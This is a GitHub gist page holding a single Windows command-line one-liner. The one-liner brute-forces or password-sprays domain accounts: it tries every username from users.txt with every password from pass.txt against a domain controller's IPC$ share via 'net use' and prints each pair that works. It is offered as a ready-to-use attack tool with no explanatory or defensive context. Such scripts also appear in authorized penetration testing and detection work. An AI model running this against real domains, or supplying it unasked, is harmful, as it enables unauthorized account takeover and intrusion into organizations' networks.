Skip to content

Instantly share code, notes, and snippets.

@clr2of8
Last active May 23, 2020 18:42
Show Gist options
  • Save clr2of8/a30cba6494e5b93319a010b9e9f6fe7f to your computer and use it in GitHub Desktop.
Save clr2of8/a30cba6494e5b93319a010b9e9f6fe7f to your computer and use it in GitHub Desktop.
@FOR /F %n in (users.txt) DO @FOR /F %p in (pass.txt) DO @net use \\DC-NAME\IPC$ /user:DOMAIN\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete \\DC-NAME\IPC$ > NUL
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment